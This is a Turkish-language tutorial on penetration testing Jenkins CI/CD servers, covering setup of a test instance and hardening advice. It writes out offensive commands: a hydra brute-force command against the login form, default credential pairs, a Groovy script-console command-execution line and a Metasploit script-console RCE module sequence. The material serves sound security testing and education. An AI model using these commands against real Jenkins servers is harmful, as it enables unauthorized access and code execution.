Jenkins pentesting (penetrasyon testi), Jenkins CI/CD sunucularının güvenlik açıklarını tespit etmek ve değerlendirmek için yapılan güvenlik test sürecidir. Jenkins, yaygın olarak kullanılan bir sürekli entegrasyon ve sürekli dağıtım (CI/CD) aracı olduğu için güvenlik açısından önemli bir hedef haline gelebilir.
Jenkins pentesting, Jenkins CI/CD sunucularının güvenlik açıklarını tespit etmek ve değerlendirmek için yapılan güvenlik test sürecidir. Jenkins yaygın kullanılan bir otomasyon sunucusu olduğu için siber saldırganların hedefi haline gelebilir. Pentesting ile bu sistemlerdeki zafiyetler proaktif olarak belirlenerek güvenlik ihlalleri önlenebilir. Temel Jenkins Pentesting adımları: 1. **Keşif (Reconnaissance)** - Jenkins versiyonunun tespiti - Açık portların taranması - Erişilebilir Jenkins arayüzlerinin tespiti 2. **Kimlik Doğrulama Testleri** - Varsayılan kullanıcı adı/şifre denemeleri - Brute force saldırıları - OAuth yapılandırma kontrolleri 3. **Yetkilendirme Testleri** - Kullanıcı izinlerinin kontrolü - Role-based access control (RBAC) testleri - Script yetkilendirme kontrolleri 4. **Plugin Güvenlik Kontrolleri** - Eski/güvensiz plugin tespiti - Plugin yapılandırma kontrolleri - Plugin güvenlik açıklarının araştırılması 5. **Jenkins Pipeline Güvenlik Testleri** - Groovy script güvenlik kontrolleri - Pipeline yapılandırma denetimi - Kod enjeksiyon olasılıklarının tespiti 6. **API Güvenlik Testleri** - REST API güvenlik kontrolleri - API token yönetimi - API erişim kontrolü 7. **Altyapı Güvenliği** - Container güvenliği (Docker kullanılıyorsa) - Network segmentasyon kontrolleri - Depolama güvenliği Önemli Güvenlik Riskleri: - Uzaktan kod çalıştırma (RCE) - Yetkisiz erişim - Hassas bilgi sızıntısı - Pipeline manipülasyonu - Kötü amaçlı plugin yüklemeleri Güvenlik Önerileri: 1. Güncel Jenkins versiyonu kullanma 2. Güçlü kimlik doğrulama 3. Düzenli güvenlik güncellemeleri 4. Plugin güvenlik denetimleri 5. Access control listelerinin düzenli gözden geçirilmesi 6. Güvenli pipeline yapılandırması 7. Network segmentasyonu 8. Düzenli güvenlik testleri ve denetimleri Bu tür testlerin etik kurallara ve yasal düzenlemelere uygun şekilde, gerekli izinler alınarak yapılması önemlidir.
Jenkins Kurulumu (Test Ortamı İçin)
Temel Kurulum Adımları
Java Kurulumu:
sudo apt update sudo apt install openjdk-11-jdk -y java -version
Jenkins Kurulumu:
wget -q -O - https://pkg.jenkins.io/debian/jenkins.io.key | sudo apt-key add - sudo sh -c 'echo deb http://pkg.jenkins.io/debian-stable binary/ > /etc/apt/sources.list.d/jenkins.list' sudo apt update sudo apt install jenkins -yJenkins Başlatma:
sudo systemctl start jenkins sudo systemctl enable jenkins sudo systemctl status jenkinsFirewall Ayarları:
sudo ufw allow 8080 sudo ufw enableİlk Yapılandırma: tarayıcıda
http://:8080 açın
sudo cat /var/lib/jenkins/secrets/initialAdminPassword
Kurulum sihirbazını takip ederek temel ayarları yapın
Jenkins Pentesting Araçları ve Kullanımı
Keşif Aşaması
Nmap ile Port Tarama:
nmap -sV -p 8080
Jenkins Versiyon Tespiti:
curl -s http://:8080/ | grep "Jenkins"
Metasploit Modülleri:
use auxiliary/scanner/http/jenkins_enum set RHOSTS set RPORT 8080 run
Kimlik Doğrulama Testleri
Brute Force Denemeleri:
hydra -L users.txt -P passwords.txt http-form-post "/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=%2F&Submit=Sign+in:Invalid username or password"
Varsayılan Kimlik Bilgileri Denemesi:
-
admin:admin
-
jenkins:jenkins
-
admin:password
Yetkilendirme Testleri
Yetki Kontrolleri:# API üzerinden yetki kontrolü curl -u kullanici:sifre http://:8080/role-strategy/strategy/getRole?type=globalRoles
Plugin Güvenlik Kontrolleri
Eski Plugin Tespiti:
curl -s http://:8080/pluginManager/api/json?depth=1 | jq '.plugins | {shortName, version}'
Jenkins Script Console Testleri
Groovy Script Çalıştırma:# Eğer yetkiniz varsa println "whoami".execute().text
Güvenlik Açığı Örnekleri ve Exploitler
CVE-2018-1000861 (RCE):
msfconsole use exploit/linux/http/jenkins_script_console set RHOSTS set RPORT 8080 set TARGETURI / set LHOST exploit
CVE-2019-1003000 (Pipeline RCE):
# Örnek exploit scripti import requests target = "http://:8080" command = "whoami" # Exploit kodu buraya
Güvenli Yapılandırma Önerileri
Erişim Kontrolü:
# Jenkins yapılandırma dosyası sudo nano /var/lib/jenkins/config.xml
-
useSecurityetkinleştirin -
authorizationStrategyayarlarını kontrol edin
# Güvenli olmayan pluginleri kaldırma sudo java -jar jenkins-cli.jar -s http://localhost:8080/ -auth kullanici:sifre delete-plugin eskiPluginAPI Güvenliği:
# API token'larını yönetme sudo java -jar jenkins-cli.jar -s http://localhost:8080/ -auth kullanici:sifre list-api-tokensLog Takibi:
# Jenkins loglarını izleme tail -f /var/log/jenkins/jenkins.log